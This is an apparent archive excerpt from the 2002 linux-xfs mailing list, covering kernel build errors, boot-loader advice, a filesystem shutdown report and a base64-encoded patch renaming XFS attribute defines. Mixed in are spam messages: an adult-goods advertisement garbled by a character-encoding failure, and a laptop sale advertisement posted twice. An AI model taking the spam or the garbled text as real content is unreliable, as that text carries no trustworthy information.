/usr/local/TruStore/xfs_src/linux-2.4-xfs/linux/include/linux/modversions.h:127, from /usr/local/TruStore/xfs_src/linux-2.4-xfs/linux/include/linux/module.h:21, from ksyms.c:14: /usr/local/TruStore/xfs_src/linux-2.4-xfs/linux/include/linux/modules/i386_ksyms.ver:82: warning: `cpu_data' redefined /usr/local/TruStore/xfs_src/linux-2.4-xfs/linux/include/asm/processor.h:80: warning: this is the location of the previous definition /usr/local/TruStore/xfs_src/linux-2.4-xfs/linux/include/linux/modules/i386_ksyms.ver:86: warning: `smp_num_cpus' redefined /usr/local/TruStore/xfs_src/linux-2.4-xfs/linux/include/linux/smp.h:80: warning: this is the location of the previous definition /usr/local/TruStore/xfs_src/linux-2.4-xfs/linux/include/linux/modules/i386_ksyms.ver:88: warning: `cpu_online_map' redefined /usr/local/TruStore/xfs_src/linux-2.4-xfs/linux/include/linux/smp.h:88: warning: this is the location of the previous definition /usr/local/TruStore/xfs_src/linux-2.4-xfs/linux/include/linux/modules/i386_ksyms.ver:102: warning: `smp_call_function' redefined /usr/local/TruStore/xfs_src/linux-2.4-xfs/linux/include/linux/smp.h:87: warning: this is the location of the previous definition In file included from /usr/local/TruStore/xfs_src/linux-2.4-xfs/linux/include/linux/modversions.h:156, from /usr/local/TruStore/xfs_src/linux-2.4-xfs/linux/include/linux/module.h:21, from ksyms.c:14: /usr/local/TruStore/xfs_src/linux-2.4-xfs/linux/include/linux/modules/ksyms.ver:578: warning: `del_timer_sync' redefined /usr/local/TruStore/xfs_src/linux-2.4-xfs/linux/include/linux/timer.h:30: warning: this is the location of the previous definition In file included from /usr/local/TruStore/xfs_src/linux-2.4-xfs/linux/include/linux/interrupt.h:45, from /usr/local/TruStore/xfs_src/linux-2.4-xfs/linux/include/asm/highmem.h:25, from /usr/local/TruStore/xfs_src/linux-2.4-xfs/linux/include/linux/highmem.h:11, from /usr/local/TruStore/xfs_src/linux-2.4-xfs/linux/include/linux/vmalloc.h:8, from /usr/local/TruStore/xfs_src/linux-2.4-xfs/linux/include/asm/io.h:47, from /usr/local/TruStore/xfs_src/linux-2.4-xfs/linux/include/linux/blkdev.h:11, from ksyms.c:15: /usr/local/TruStore/xfs_src/linux-2.4-xfs/linux/include/asm/hardirq.h:37: warning: `synchronize_irq' redefined /usr/local/TruStore/xfs_src/linux-2.4-xfs/linux/include/linux/modules/i386_ksyms.ver:90: warning: this is the location of the previous definition In file included from ksyms.c:17: /usr/local/TruStore/xfs_src/linux-2.4-xfs/linux/include/linux/kernel_stat.h: In function `kstat_irqs': /usr/local/TruStore/xfs_src/linux-2.4-xfs/linux/include/linux/kernel_stat.h:57: `smp_num_cpus' undeclared (first use in this function) /usr/local/TruStore/xfs_src/linux-2.4-xfs/linux/include/linux/kernel_stat.h:57: (Each undeclared identifier is reported only once /usr/local/TruStore/xfs_src/linux-2.4-xfs/linux/include/linux/kernel_stat.h:57: for each function it appears in.) make[2]: *** [ksyms.o] Error 1 make[2]: Leaving directory `/usr/local/TruStore/xfs_src/linux-2.4-xfs/linux/kernel' make[1]: *** [first_rule] Error 2 make[1]: Leaving directory `/usr/local/TruStore/xfs_src/linux-2.4-xfs/linux/kernel' make: *** [_dir_kernel] Error 2 Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com From owner-linux-xfs@oss.sgi.com Wed Nov 27 12:00:20 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 27 Nov 2002 12:00:25 -0800 (PST) Received: from ubergeek ([209.184.141.189]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gARK0KuR014441 for ; Wed, 27 Nov 2002 12:00:20 -0800 Received: (qmail 17970 invoked by uid 500); 27 Nov 2002 20:00:50 -0000 Subject: Re: TAKE - xfsstats From: Austin Gonyou To: Nathan Scott Cc: XFS List In-Reply-To: <20021126214623.GB677@frodo.melbourne.sgi.com> References: <20021126214623.GB677@frodo.melbourne.sgi.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit Organization: Coremetrics, Inc. Message-Id: <1038427249.16365.4.camel@UberGeek> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.0 Date: 27 Nov 2002 14:00:50 -0600 X-archive-position: 1873 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: austin@coremetrics.com Precedence: bulk X-list: linux-xfs Thanks much! :) On Tue, 2002-11-26 at 15:46, Nathan Scott wrote: > On Tue, Nov 26, 2002 at 11:51:07AM -0600, Austin Gonyou wrote: > > Is there a tool like vxstat for XFS? > > There are two tools I know of that report these stats - the > cmd/xfsmisc/xfsstats.pl script and the PCP suite of tools > (http://oss.sgi.com/projects/pcp). > > cheers. > > -- > Nathan -- Austin Gonyou Coremetrics, Inc. From owner-linux-xfs@oss.sgi.com Wed Nov 27 13:22:05 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 27 Nov 2002 13:22:11 -0800 (PST) Received: from dynamic.galis.org (ool-4350143e.dyn.optonline.net [67.80.20.62]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gARLM4uR016214 for ; Wed, 27 Nov 2002 13:22:05 -0800 Received: (qmail 29019 invoked by uid 1010); 27 Nov 2002 21:26:59 -0000 Date: Wed, 27 Nov 2002 16:26:59 -0500 From: George Georgalis To: Flameeyes Cc: linux-xfs@oss.sgi.com Subject: Re: Boot Loader that Support boot from hdb Message-ID: <20021127212659.GG26033@trot.local> References: <20021127165144.GE26033@trot.local> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i X-archive-position: 1874 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: georgw@galis.org Precedence: bulk X-list: linux-xfs On Wed, Nov 27, 2002 at 05:58:19PM +0100, Flameeyes wrote: >George Georgalis wrote: > >>LILO should work. are you sure it's installed correctly? what version >>are you using? > >I'm using LILO 22.3.3, if I install it on the first hdd it works >perfectly, but when I change the boot line for use the /dev/hdb, the >system can't boot. if you change the boot line you need to change the bios to look there too, you could experiment by setting boot=/dev/fd0 and use a floppy for the boot loader, only takes a second. but anyway, I think it's root that you want to adjust root=/dev/hdb1 (or whatever partition) and keep your boot=/dev/hda >I have an Award Bios that boot from [in sequence] floppy drive, HDD-1 >[primary slave], HDD-0 [primary master]. > just be sure the bios and lilo.conf are use the same media/mbr to boot from. >>I like GRUB better, but I'm currently using lilo, at least I did back >>when I compiled my xfs kernel 20 days ago :) > >Never tried grub, where I can find some info about that? don't know a url, it is part of rh and deb. // George -- GEORGE GEORGALIS, System Admin/Architect cell: 347-451-8229 Security Services, Web, Mail, mailto:george@galis.org Multimedia, DB, DNS and Metrics. http://www.galis.org/george From owner-linux-xfs@oss.sgi.com Wed Nov 27 13:52:17 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 27 Nov 2002 13:52:21 -0800 (PST) Received: from ubergeek ([209.184.141.189]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gARLqGuR016874 for ; Wed, 27 Nov 2002 13:52:17 -0800 Received: (qmail 2468 invoked by uid 500); 27 Nov 2002 21:54:16 -0000 Subject: xfs_force_shutdown during an RSYNC. From: Austin Gonyou To: xfs mailing list Content-Type: text/plain Content-Transfer-Encoding: 7bit Organization: Coremetrics, Inc. Message-Id: <1038434055.1068.14.camel@UberGeek> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.0 Date: 27 Nov 2002 15:54:16 -0600 X-archive-position: 1875 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: austin@coremetrics.com Precedence: bulk X-list: linux-xfs Just wanted to ask what level of IO is required to hit this bug. We received it during a backup using RSYNC from a set of FC volumes, to one FC volume >1TB in size. The backup volume was the one shutdown. I may finally have people convinced that we need to update the XFS code, but I wanted to get a feel for how often we might see this. TIA Nov 27 14:24:53 Myserver kernel: xfs_force_shutdown(sd(65,32),0x8) called from line 4065 of file xfs_bmap.c. Return address = 0xc019d00d Nov 27 14:24:53 Myserver kernel: Corruption of in-memory data detected. Shutting down filesystem: sd(65,32) Nov 27 14:24:53 Myserver kernel: Please umount the filesystem, and rectify the problem(s) -- Austin Gonyou Coremetrics, Inc. From owner-linux-xfs@oss.sgi.com Wed Nov 27 14:18:50 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 27 Nov 2002 14:18:52 -0800 (PST) Received: from mail.ocs.com.au (mail.ocs.com.au [203.34.97.2]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gARMIluR018589 for ; Wed, 27 Nov 2002 14:18:48 -0800 Received: (qmail 10759 invoked from network); 27 Nov 2002 22:21:27 -0000 Received: from ocs3.intra.ocs.com.au (192.168.255.3) by mail.ocs.com.au with SMTP; 27 Nov 2002 22:21:27 -0000 Received: by ocs3.intra.ocs.com.au (Postfix, from userid 16331) id 6037D300087; Thu, 28 Nov 2002 09:21:25 +1100 (EST) Received: from ocs3.intra.ocs.com.au (localhost [127.0.0.1]) by ocs3.intra.ocs.com.au (Postfix) with ESMTP id 3D46B85; Thu, 28 Nov 2002 09:21:25 +1100 (EST) X-Mailer: exmh version 2.4 06/23/2000 with nmh-1.0.4 From: Keith Owens To: Greg Freemyer Cc: xfs mailing list Subject: Re: OT: non SMP support in 2.4.20-rc? In-reply-to: Your message of "Wed, 27 Nov 2002 13:06:41 CDT." <20021127180835.SDHM3259.imf07bis.bellsouth.net@TAZ2> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 28 Nov 2002 09:21:19 +1100 Message-ID: <18523.1038435679@ocs3.intra.ocs.com.au> X-archive-position: 1876 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: kaos@sgi.com Precedence: bulk X-list: linux-xfs Resend, original had problems. On Wed, 27 Nov 2002 13:06:41 -0500, Greg Freemyer wrote: >Ever since CVS was updated to work with 2.4.20-rc kernels I have been unable to successfully compile with SMP not enabled. > >If I have it enabled via make menuconfig all works well. > >If I make that one change, then make dep; make bzImage, it errors out with the below. > >Am I doing something wrong, or is there a generic problem with this kernel? >In file included from /usr/local/TruStore/xfs_src/linux-2.4-xfs/linux/include/linux/modversions.h:67, > from /usr/local/TruStore/xfs_src/linux-2.4-xfs/linux/include/linux/module.h:21, > from ksyms.c:14: >/usr/local/TruStore/xfs_src/linux-2.4-xfs/linux/include/linux/modules/dec_and_lock.ver:2: warning: `atomic_dec_and_lock' redefined You must make mrproper (save .config first) before switching from SMP to UP or vice versa, especially when you build with module versions. It is a kernel build restriction that is unfixable with the current design. From owner-linux-xfs@oss.sgi.com Wed Nov 27 17:20:36 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 27 Nov 2002 17:20:39 -0800 (PST) Received: from banna (fb168239.ot.FreeBit.NE.JP [61.203.168.239]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAS1JIuR021452 for ; Wed, 27 Nov 2002 17:20:35 -0800 Received: from wing-2f8mswpeuw ([192.168.0.5]) by banna (8.9.3+3.2W/3.7W) with SMTP id KAA19533; Thu, 28 Nov 2002 10:23:53 +0900 Message-Id: <200211280123.KAA19533@banna> From: =?iso-2022-jp?B?ZG1haWw5OTk5anA=?= To: =?iso-2022-jp?B?MDAwMg==?=@banna.sgi.com Reply-To: dmail9999jp@yahoo.co.jp Date: Thu, 28 Nov 2002 10:21:20 +0900 Subject: =?iso-2022-jp?B?GyRCTCQ+NUJ6OS05cCIoRUU7UiVhITwlazktOXAbKEo=?= Content-Type: text/plain Content-Transfer-Encoding: 7bit MIME-Version: 1.0 X-archive-position: 1877 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: dmail9999jp@yahoo.co.jp Precedence: bulk X-list: linux-xfs <‘—MŽÒ> “dŽqƒ[ƒ‹LŽÐ ¡ŒãAL‚ð‚²Šó–]‚µ‚È‚¢•û‚Í‚±‚±‚Ö (•K‚¸–{•¶‚É‚ ‚È‚½‚̃[ƒ‹ƒAƒhƒŒƒX‚Ì‚Ý‚ð‚¨‘‚«‰º‚³‚¢j fmail5555jp@yahoo.co.jp ƒ[ƒ‹ƒAƒhƒŒƒX‚ð‚²‹L“ü‚µ‚Ä‚­‚¾‚³‚¢B §104-0061 “Œ‹ž“s’†‰›‹æ‹âÀ8-19-3 ‘æ2ƒEƒCƒ“ƒOƒrƒ‹@3F ƒ[ƒ‹ƒ}ƒKƒWƒ“”­s TEL@03-3544-6222 FAX@03-3544-6218 =============================================================== –â‘褕i‚΂©‚èW‚ß‚Ü‚µ‚½‚Ì‚ÅAÁ‚³‚ê‚é‹°‚ꂪ‚ ‚è‚Ü‚·‚Ì‚Å ‚¨\ž‚Ý‚Í‚¨‘‚ß‚ÉI ================================================================= ™\\\™\\\™\\\™\\\™\\\™\\\™\\\™\\\™ — ƒrƒfƒI”Ì”„EƒƒŠƒrƒfƒIE“ÁŽêƒ_ƒbƒ`ƒƒCƒtE‚r‚lƒNƒ‰ƒu @@ ‚`‚u’j—D•åWE‰‡•ŒðÛE‚r‚d‚wƒtƒŒƒ“ƒhEƒAƒ_ƒ‹ƒgƒOƒbƒY‚È‚Ç š@ƒAƒ_ƒ‹ƒgŠÖ˜A‚Ìî•ñ–žÚ@š @@‚¨\ž‚ÝE‚²’•¶E¤•iÚד™‚Í@ @@@@@‰º‹L‚t‚q‚k‚ðƒNƒŠƒbƒN‚µ‚Ä‚²——‰º‚³‚¢B «@@@@«@@@@«@ @@@http://www.ss-koukoku.com/ ™\\\™\\\™\\\™\\\™\\\™\\\™\\\™\\\™ @@@@@@@@ŠJ‰^ƒOƒbƒYE‹É”éî•ñŽ @@@@–h”ƃOƒbƒYE‹à–ׂ¯î•ñEƒ_ƒCƒGƒbƒgH•i‚È‚Ç@ @@@@@@@@š@‚»‚Ì‘¼î•ñ–žÚ@š @@‚¨\ž‚ÝE‚²’•¶E¤•iÚד™‚Í@ @@@@@‰º‹L‚t‚q‚k‚ðƒNƒŠƒbƒN‚µ‚Ä‚²——‰º‚³‚¢B «@@@@«@@@@«@ http://www.pp-koukoku.com/ ™\\\™\\\™\\\™\\\™\\\™\\\™\\\™\\\™ From owner-linux-xfs@oss.sgi.com Wed Nov 27 22:11:31 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 27 Nov 2002 22:11:35 -0800 (PST) Received: from divalax.diva.Globcast.com ([202.174.138.3]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAS6BRuR025419 for ; Wed, 27 Nov 2002 22:11:30 -0800 Received: from pa ([202.174.138.9]) by divalax.diva.Globcast.com with Microsoft SMTPSVC(5.0.2195.2966); Thu, 28 Nov 2002 11:49:50 +0530 Message-ID: <02e601c296aa$ad9ab840$760310ac@pa> From: To: Subject: Laptop = mumbai - RS. 17300 - also- palmtop & other items small details inside MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 X-OriginalArrivalTime: 28 Nov 2002 06:19:50.0265 (UTC) FILETIME=[282E3690:01C296A6] Date: 28 Nov 2002 11:49:50 +0530 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id gAS6BVuR025420 X-archive-position: 1878 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: laptop_mumbai@bombayservice.com Precedence: bulk X-list: linux-xfs Laptop available RS. 17300 ONLY- best working condition 1.3 Hdd. / 16 MB ram, color, with built in modem / speaker- Yamaha sound card. Extra- socket for monitor printers mouse keyboard. Cable connection to desktop. Light weight. Black color leather finish. Acre / IBM make. ------------------------------------------------. Also available. RS. 27300 Compaq Presario with cd-rom / 2 gb/ 32 MB ram / jbl speaker. Built in modem Working battery -------------------------------------------------. Many other models also available. & other useful items available . Best for demo / marketing------------you can suggest / advise / help your friends ----relatives - by informing this information about used best working low cost laptop palmtop. ---------------------------------------------------. Our services Used & new / bargain price -- buy sell barter- Laptop / palmtop / computers & office related items -------------------------------------------------- www.mumbaiseva.com email---laptop@bombayservice.com ---------------------------------------------- Tel- office---- mumbai- 25675770 - MR.shyam From owner-linux-xfs@oss.sgi.com Wed Nov 27 22:11:35 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 27 Nov 2002 22:11:37 -0800 (PST) Received: from divalax.diva.Globcast.com ([202.174.138.3]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAS6BRuT025419 for ; Wed, 27 Nov 2002 22:11:34 -0800 Received: from pa ([202.174.138.9]) by divalax.diva.Globcast.com with Microsoft SMTPSVC(5.0.2195.2966); Thu, 28 Nov 2002 11:50:36 +0530 Message-ID: <03e301c296aa$c94d7aa0$760310ac@pa> From: To: Subject: Laptop = mumbai - RS. 17300 - also- palmtop & other items small details inside MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 X-OriginalArrivalTime: 28 Nov 2002 06:20:36.0718 (UTC) FILETIME=[43DE60E0:01C296A6] Date: 28 Nov 2002 11:50:36 +0530 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id gAS6BZuR025450 X-archive-position: 1879 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: laptop_mumbai@bombayservice.com Precedence: bulk X-list: linux-xfs Laptop available RS. 17300 ONLY- best working condition 1.3 Hdd. / 16 MB ram, color, with built in modem / speaker- Yamaha sound card. Extra- socket for monitor printers mouse keyboard. Cable connection to desktop. Light weight. Black color leather finish. Acre / IBM make. ------------------------------------------------. Also available. RS. 27300 Compaq Presario with cd-rom / 2 gb/ 32 MB ram / jbl speaker. Built in modem Working battery -------------------------------------------------. Many other models also available. & other useful items available . Best for demo / marketing------------you can suggest / advise / help your friends ----relatives - by informing this information about used best working low cost laptop palmtop. ---------------------------------------------------. Our services Used & new / bargain price -- buy sell barter- Laptop / palmtop / computers & office related items -------------------------------------------------- www.mumbaiseva.com email---laptop@bombayservice.com ---------------------------------------------- Tel- office---- mumbai- 25675770 - MR.shyam From owner-linux-xfs@oss.sgi.com Thu Nov 28 04:23:24 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 28 Nov 2002 04:23:29 -0800 (PST) Received: from itaqui.terra.com.br (itaqui.terra.com.br [200.176.3.19]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gASCNMuR008567; Thu, 28 Nov 2002 04:23:22 -0800 Received: from pavuna.terra.com.br (pavuna.terra.com.br [200.176.3.41]) by itaqui.terra.com.br (Postfix) with ESMTP id 55C6E3BC5E0; Thu, 28 Nov 2002 10:26:04 -0200 (BRST) Received: from walker.absoluta.intra (cm-net-poa-C8B028F1.brdterra.com.br [200.176.40.241]) (authenticated user abslucio) by pavuna.terra.com.br (Postfix) with ESMTP id 23D55682A9; Thu, 28 Nov 2002 10:26:01 -0200 (BRST) Date: Thu, 28 Nov 2002 10:25:58 -0200 From: Lucio Maciel To: owner-xfs@oss.sgi.com Cc: LKML , lord@oss.sgi.com, linux-xfs@oss.sgi.com, Linus Torvalds Subject: [PATCH RESEND 2.5]FIX XFS redefines Message-Id: <20021128102558.1b33f62a.abslucio@terra.com. br> Organization: absoluta X-Mailer: Sylpheed version 0.8.5 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="Multipart_Thu__28_Nov_2002_10:25:58_-0200_0858de00" X-archive-position: 1880 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: abslucio@terra.com.br Precedence: bulk X-list: linux-xfs This is a multi-part message in MIME format. --Multipart_Thu__28_Nov_2002_10:25:58_-0200_0858de00 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit I Hate when this happens... now with the pacth attached... Hello.... This patch fixes this redefines in linux-2.5.49 and 2.5.50 ... In file included from fs/xfs/linux/xfs_linux.h:56, from fs/xfs/xfs.h:54, from fs/xfs/xfs_acl.c:33: fs/xfs/linux/xfs_vnode.h:546: warning: `AT_UID' redefined include/linux/elf.h:172: warning: this is the location of the previous definition fs/xfs/linux/xfs_vnode.h:547: warning: `AT_GID' redefined include/linux/elf.h:174: warning: this is the location of the previous definition .... This happens, because linux/module.h is including linux/elf.h that define AT_UID and AT_GID (since 2.5.49) ... i just renamed the XFS Attributes defines from AT_XXX to XFS_AT_XXX best regards. -- ::: Lucio F. Maciel ::: abslucio@terra.com.br ::: icq 93065464 ::: Absoluta.net --Multipart_Thu__28_Nov_2002_10:25:58_-0200_0858de00 Content-Type: application/octet-stream; name="xfs.patch" Content-Disposition: attachment; filename="xfs.patch" Content-Transfer-Encoding: base64 ZGlmZiAtdXIgLS1leGNsdWRlPWF1dG9jb25mLmggLS1leGNsdWRlPScqZGlm ZicgLS1leGNsdWRlPWNvbXBpbGVfbG9nIC0tZXhjbHVkZT14ZnNfZXJyb3Ig LS1leGNsdWRlPXhmc19sb2cgLS1leGNsdWRlPWVycm9yIC0tZXhjbHVkZT0u Y29uZmlnIC0tZXhjbHVkZT0nKi5jbWQnIGxpbnVzLTIuNS40OS9mcy94ZnMv bGludXgveGZzX2ZpbGUuYyBsaW51eC0yLjUuNDkvZnMveGZzL2xpbnV4L3hm c19maWxlLmMKLS0tIGxpbnVzLTIuNS40OS9mcy94ZnMvbGludXgveGZzX2Zp bGUuYwkyMDAyLTExLTA0IDIwOjMwOjMwLjAwMDAwMDAwMCAtMDIwMAorKysg bGludXgtMi41LjQ5L2ZzL3hmcy9saW51eC94ZnNfZmlsZS5jCTIwMDItMTEt MjMgMDA6MzA6NTQuMDAwMDAwMDAwIC0wMjAwCkBAIC0yODAsNyArMjgwLDcg QEAKIHsKIAlzdHJ1Y3QgaW5vZGUJKmlwID0gZmlscC0+Zl9kZW50cnktPmRf aW5vZGU7CiAJdm5vZGVfdAkJKnZwID0gTElOVkZTX0dFVF9WUChpcCk7Ci0J dmF0dHJfdAkJdmEgPSB7IC52YV9tYXNrID0gQVRfVVBEQVRJTUUgfTsKKwl2 YXR0cl90CQl2YSA9IHsgLnZhX21hc2sgPSBYRlNfQVRfVVBEQVRJTUUgfTsK IAlpbnQJCWVycm9yOwogCiAJaWYgKCh2cC0+dl90eXBlID09IFZSRUcpICYm ICh2cC0+dl92ZnNwLT52ZnNfZmxhZyAmIFZGU19ETUkpKSB7CkBAIC0yOTEs NyArMjkxLDcgQEAKIAogCXZtYS0+dm1fb3BzID0gJmxpbnZmc19maWxlX3Zt X29wczsKIAotCVZPUF9TRVRBVFRSKHZwLCAmdmEsIEFUX1VQREFUSU1FLCBO VUxMLCBlcnJvcik7CisJVk9QX1NFVEFUVFIodnAsICZ2YSwgWEZTX0FUX1VQ REFUSU1FLCBOVUxMLCBlcnJvcik7CiAJVVBEQVRFX0FUSU1FKGlwKTsKIAly ZXR1cm4gMDsKIH0KZGlmZiAtdXIgLS1leGNsdWRlPWF1dG9jb25mLmggLS1l eGNsdWRlPScqZGlmZicgLS1leGNsdWRlPWNvbXBpbGVfbG9nIC0tZXhjbHVk ZT14ZnNfZXJyb3IgLS1leGNsdWRlPXhmc19sb2cgLS1leGNsdWRlPWVycm9y IC0tZXhjbHVkZT0uY29uZmlnIC0tZXhjbHVkZT0nKi5jbWQnIGxpbnVzLTIu NS40OS9mcy94ZnMvbGludXgveGZzX2lvY3RsLmMgbGludXgtMi41LjQ5L2Zz L3hmcy9saW51eC94ZnNfaW9jdGwuYwotLS0gbGludXMtMi41LjQ5L2ZzL3hm cy9saW51eC94ZnNfaW9jdGwuYwkyMDAyLTExLTIyIDIyOjI5OjUzLjAwMDAw MDAwMCAtMDIwMAorKysgbGludXgtMi41LjQ5L2ZzL3hmcy9saW51eC94ZnNf aW9jdGwuYwkyMDAyLTExLTIzIDAwOjMwOjU0LjAwMDAwMDAwMCAtMDIwMApA QCAtOTQ1LDcgKzk0NSw3IEBACiAKIAlzd2l0Y2ggKGNtZCkgewogCWNhc2Ug WEZTX0lPQ19GU0dFVFhBVFRSOiB7Ci0JCXZhLnZhX21hc2sgPSBBVF9YRkxB R1N8QVRfRVhUU0laRXxBVF9ORVhURU5UUzsKKwkJdmEudmFfbWFzayA9IFhG U19BVF9YRkxBR1N8WEZTX0FUX0VYVFNJWkV8WEZTX0FUX05FWFRFTlRTOwog CQlWT1BfR0VUQVRUUih2cCwgJnZhLCAwLCBOVUxMLCBlcnJvcik7CiAJCWlm IChlcnJvcikKIAkJCXJldHVybiAtZXJyb3I7CkBAIC05NjUsNyArOTY1LDcg QEAKIAkJaWYgKGNvcHlfZnJvbV91c2VyKCZmYSwgKHN0cnVjdCBmc3hhdHRy ICopYXJnLCBzaXplb2YoZmEpKSkKIAkJCXJldHVybiAtWEZTX0VSUk9SKEVG QVVMVCk7CiAKLQkJdmEudmFfbWFzayA9IEFUX1hGTEFHUyB8IEFUX0VYVFNJ WkU7CisJCXZhLnZhX21hc2sgPSBYRlNfQVRfWEZMQUdTIHwgWEZTX0FUX0VY VFNJWkU7CiAJCXZhLnZhX3hmbGFncyAgPSBmYS5mc3hfeGZsYWdzOwogCQl2 YS52YV9leHRzaXplID0gZmEuZnN4X2V4dHNpemU7CiAKQEAgLTk3OCw3ICs5 NzgsNyBAQAogCiAJY2FzZSBYRlNfSU9DX0ZTR0VUWEFUVFJBOiB7CiAKLQkJ dmEudmFfbWFzayA9IEFUX1hGTEFHU3xBVF9FWFRTSVpFfEFUX0FORVhURU5U UzsKKwkJdmEudmFfbWFzayA9IFhGU19BVF9YRkxBR1N8WEZTX0FUX0VYVFNJ WkV8WEZTX0FUX0FORVhURU5UUzsKIAkJVk9QX0dFVEFUVFIodnAsICZ2YSwg MCwgTlVMTCwgZXJyb3IpOwogCQlpZiAoZXJyb3IpCiAJCQlyZXR1cm4gLWVy cm9yOwpkaWZmIC11ciAtLWV4Y2x1ZGU9YXV0b2NvbmYuaCAtLWV4Y2x1ZGU9 JypkaWZmJyAtLWV4Y2x1ZGU9Y29tcGlsZV9sb2cgLS1leGNsdWRlPXhmc19l cnJvciAtLWV4Y2x1ZGU9eGZzX2xvZyAtLWV4Y2x1ZGU9ZXJyb3IgLS1leGNs dWRlPS5jb25maWcgLS1leGNsdWRlPScqLmNtZCcgbGludXMtMi41LjQ5L2Zz L3hmcy9saW51eC94ZnNfaW9wcy5jIGxpbnV4LTIuNS40OS9mcy94ZnMvbGlu dXgveGZzX2lvcHMuYwotLS0gbGludXMtMi41LjQ5L2ZzL3hmcy9saW51eC94 ZnNfaW9wcy5jCTIwMDItMTEtMjIgMjI6MzE6NDMuMDAwMDAwMDAwIC0wMjAw CisrKyBsaW51eC0yLjUuNDkvZnMveGZzL2xpbnV4L3hmc19pb3BzLmMJMjAw Mi0xMS0yMyAwMDozMDo1NC4wMDAwMDAwMDAgLTAyMDAKQEAgLTQ1LDcgKzQ1 LDcgQEAKIAl2YXR0cl90CQl2YTsKIAlpbnQJCWVycm9yOwogCi0JdmEudmFf bWFzayA9IEFUX05MSU5LfEFUX1NJWkU7CisJdmEudmFfbWFzayA9IFhGU19B VF9OTElOS3xYRlNfQVRfU0laRTsKIAlWT1BfR0VUQVRUUih2cCwgJnZhLCBB VFRSX0xBWlksIE5VTEwsIGVycm9yKTsKIAlpcC0+aV9ubGluayA9IHZhLnZh X25saW5rOwogCWlwLT5pX3NpemUgPSB2YS52YV9zaXplOwpAQCAtODUsMTQg Kzg1LDE0IEBACiAJCW1vZGUgJj0gfmN1cnJlbnQtPmZzLT51bWFzazsKIAog CW1lbXNldCgmdmEsIDAsIHNpemVvZih2YSkpOwotCXZhLnZhX21hc2sgPSBB VF9UWVBFfEFUX01PREU7CisJdmEudmFfbWFzayA9IFhGU19BVF9UWVBFfFhG U19BVF9NT0RFOwogCXZhLnZhX3R5cGUgPSBJRlRPVlQobW9kZSk7CiAJdmEu dmFfbW9kZSA9IG1vZGU7CiAKIAlzd2l0Y2ggKG1vZGUgJiBTX0lGTVQpIHsK IAljYXNlIFNfSUZDSFI6IGNhc2UgU19JRkJMSzogY2FzZSBTX0lGSUZPOiBj YXNlIFNfSUZTT0NLOgogCQl2YS52YV9yZGV2ID0gWEZTX01LREVWKE1BSk9S KHJkZXYpLCBNSU5PUihyZGV2KSk7Ci0JCXZhLnZhX21hc2sgfD0gQVRfUkRF VjsKKwkJdmEudmFfbWFzayB8PSBYRlNfQVRfUkRFVjsKIAkJLypGQUxMVEhS T1VHSCovCiAJY2FzZSBTX0lGUkVHOgogCQlWT1BfQ1JFQVRFKGR2cCwgZGVu dHJ5LCAmdmEsICZ2cCwgTlVMTCwgZXJyb3IpOwpAQCAtMjU1LDcgKzI1NSw3 IEBACiAJbWVtc2V0KCZ2YSwgMCwgc2l6ZW9mKHZhKSk7CiAJdmEudmFfdHlw ZSA9IFZMTks7CiAJdmEudmFfbW9kZSA9IGlyaXhfc3ltbGlua19tb2RlID8g 